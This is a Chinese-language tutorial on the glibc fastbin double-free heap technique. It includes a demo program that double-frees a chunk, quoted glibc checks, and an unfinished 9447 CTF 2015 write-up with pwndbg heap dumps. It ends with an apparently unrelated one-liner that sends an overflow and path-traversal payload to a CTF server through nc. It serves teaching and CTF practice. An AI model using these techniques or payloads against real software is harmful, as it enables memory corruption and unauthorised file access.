Fastbin Double Free

Fastbin Double Free原理

Fast bins

fastbins 划分为10个,其中每一个bins都是一个单向链表,并在链表首部进行插入和删除操作(先进后出)。


对于SIZE_SZ为4B的平台,小于64B的chunk分配请求,对于SIZE_SZ为8B的平台,小于128B的chunk分配请求。首先会查找fast bins中是否有所需大小的chunk存在(精确匹配),如果存在,就直接返回。

默认情况下,fast bins 只 cache 了 small bins 的前 7 个大小的空闲 chunk,也就是说:

  • 对于SIZE_SZ为4B的平台,fast bins有7个chunk空闲链表(bin),每个 bin的chunk大小依次为16B,24B,32B,40B,48B,56B,64B;但是其可以支持的chunk的数据空间最大为80字节。
  • 对于SIZE_SZ为8B的平台,fast bins有7个chunk空闲链表(bin),每个bin的chunk大小依次为32B,48B,64B,80B,96B,112B,128B;但是其可以支持的chunk的数据空间最大为160字节。

    原理

    Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆(type confused)的效果。

例子

环境准备

ubuntu14.04 x86_64
pwndbg:https://github.com/pwndbg/pwndbg#readme

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
printf("1st malloc(8): %p\n", malloc(8));
printf("2nd malloc(8): %p\n", malloc(8));
printf("3rd malloc(8): %p\n", malloc(8));
}

释放资源超过两次可能导致内存泄漏(memory leaks)
以上代码是在fastbins进行的double-free攻击

分析

1.先malloc()三次,产生三个chunk(堆块)

1
2
3
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);


note:为什么malloc(8),实际上分配32个字节?

1
2
3
4
5
6
7
8
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

/* pad request bytes into a usable size -- internal version */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

32位上SIZE_SZ为4字节,64位上为8字节。
MALLOC_ALIGN_MASK等于2 * SIZE_SZ。
MIN_CHUNK_SIZE 定义了最小的 chunk 的大小,32 位平台上为 16 字节,64 位平台为 24 字节或是 32 字节。MINSIZE 定义了最小的分配的内存大小,是对 MIN_CHUNK_SIZE 进行了 2 * SIZE_SZ 对齐,地址对齐后与 MIN_CHUNK_SIZE 的大小仍然是一样的。
2.打印出返回给用户的堆指针

1
2
3
printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);


note:为什么返回给用户的指针比chunk的首地址大0x10个字节?

因为返回的是mem,而不是chunk
3.free掉第一块内存

1
2
printf("Freeing the first one...\n");
free(a);

1
2
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

如果我们再free(a)的话,程序就会崩溃.因为这块内存刚好在对应free-list(fastbins)的首部,再次free这块内存的时候就会被检查到.

note:我们触发了什么检查?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#else
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (*fb == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
if (*fb != NULL
&& __builtin_expect (fastbin_index(chunksize(*fb)) != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}

p->fd = *fb;
*fb = p;
#endif

4.所以我们释放另一块chunk

1
2
printf("So, instead, we'll free %p.\n", b);
free(b);

fastbin是在链表的首部进行插入删除,所以现在的首部是chunk2(b)了

5.再次释放a

1
2
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

现在,a已经不在首部了,所以当我们再次free(a)就不会触发检查了!!!

6.double free

1
2
3
4
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
printf("1st malloc(8): %p\n", malloc(8));
printf("2nd malloc(8): %p\n", malloc(8));
printf("3rd malloc(8): %p\n", malloc(8));

现在有两个指针指向同一块内存,任何一个改变就会影响另一个。

9447 CTF 2015 writeup

准备

题目链接

https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine

系统和工具

ubuntu14.04,pwndbg

1
2
3
4
5
6
sakura@ubuntu:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty

checksec

1
2
3
4
5
6
7
8
sakura@ubuntu:~$ checksec search 
[*] '/home/sakura/search'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> b *0x0000000000400D7E
输入AAA SSSS,BBB SSSS,CCC SSSS
pwndbg> x /60gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x5353535320414141 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000031
0x603030: 0x0000000000603010 0x0000000000000003
0x603040: 0x0000000000603010 0x0000000000000008
0x603050: 0x0000000000000000 0x0000000000000031
0x603060: 0x0000000000603014 0x0000000000000004
0x603070: 0x0000000000603010 0x0000000000000008
0x603080: 0x0000000000603030 0x0000000000000021
0x603090: 0x5353535320424242 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000031
0x6030b0: 0x0000000000603090 0x0000000000000003
0x6030c0: 0x0000000000603090 0x0000000000000008
0x6030d0: 0x0000000000603060 0x0000000000000031
0x6030e0: 0x0000000000603094 0x0000000000000004
0x6030f0: 0x0000000000603090 0x0000000000000008
0x603100: 0x00000000006030b0 0x0000000000000021
0x603110: 0x5353535320434343 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000031
0x603130: 0x0000000000603110 0x0000000000000003
0x603140: 0x0000000000603110 0x0000000000000008
0x603150: 0x00000000006030e0 0x0000000000000031
0x603160: 0x0000000000603114 0x0000000000000004
0x603170: 0x0000000000603110 0x0000000000000008
0x603180: 0x0000000000603130 0x0000000000020e81
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
0x6031b0: 0x0000000000000000 0x0000000000000000
0x6031c0: 0x0000000000000000 0x0000000000000000
0x6031d0: 0x0000000000000000 0x0000000000000000

...
...
...
pwndbg> x /x 0x00000000006020B8
0x6020b8: 0x0000000000603160
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Enter the word size:
4
Enter the word:
SSSS
Found 8: CCC SSSS
Delete this sentence (y/n)?
y
Deleted!
Found 8: BBB SSSS
Delete this sentence (y/n)?
y
Deleted!
Found 8: AAA SSSS
Delete this sentence (y/n)?
y
...
...
pwndbg> x /60gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603080 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000031
0x603030: 0x0000000000603010 0x0000000000000003
0x603040: 0x0000000000603010 0x0000000000000008
0x603050: 0x0000000000000000 0x0000000000000031
0x603060: 0x0000000000603014 0x0000000000000004
0x603070: 0x0000000000603010 0x0000000000000008
0x603080: 0x0000000000603030 0x0000000000000021
0x603090: 0x0000000000603100 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000031
0x6030b0: 0x0000000000603090 0x0000000000000003
0x6030c0: 0x0000000000603090 0x0000000000000008
0x6030d0: 0x0000000000603060 0x0000000000000031
0x6030e0: 0x0000000000603094 0x0000000000000004
0x6030f0: 0x0000000000603090 0x0000000000000008
0x603100: 0x00000000006030b0 0x0000000000000021
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000031
0x603130: 0x0000000000603110 0x0000000000000003
0x603140: 0x0000000000603110 0x0000000000000008
0x603150: 0x00000000006030e0 0x0000000000000031
0x603160: 0x0000000000603114 0x0000000000000004
0x603170: 0x0000000000603110 0x0000000000000008
0x603180: 0x0000000000603130 0x0000000000000021
0x603190: 0x0000000000603000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000020e61
0x6031b0: 0x0000000000000000 0x0000000000000000
0x6031c0: 0x0000000000000000 0x0000000000000000
0x6031d0: 0x0000000000000000 0x0000000000000000
...
...
pwndbg> x /x 0x00000000006020B8
0x6020b8: 0x0000000000603160

思路

  1. read_int(sub_400A40)中输入48个字符时,结果不会以null结尾,从而允许leak stack。
  2. 删除一个句子(通过搜索找到它之后)会删除句子内容并释放该句子,但不会删除指向该句子的词语。这会造成UAF(可以通过打印输出来泄漏信息)和一个double free。

    TODO

    writeup
    https://github.com/pwning/public-writeup/tree/master/9447ctf2015/pwn230-search

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sakura@sakuradeMBP:~$ python -c 'print "kaiokenx20\x00"+"A"*5+"././././././././././././././flag.txt\x00\n"+"123"'|nc 128.199.224.175 13000
Enter password to authentic yourself : Enter case number:

1) Application_1
2) Application_2
3) Application_3
4) Application_4
5) Application_5
6) Application_6
7) Flag

Enter choice :-
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

The flag is :- pctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}
��

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX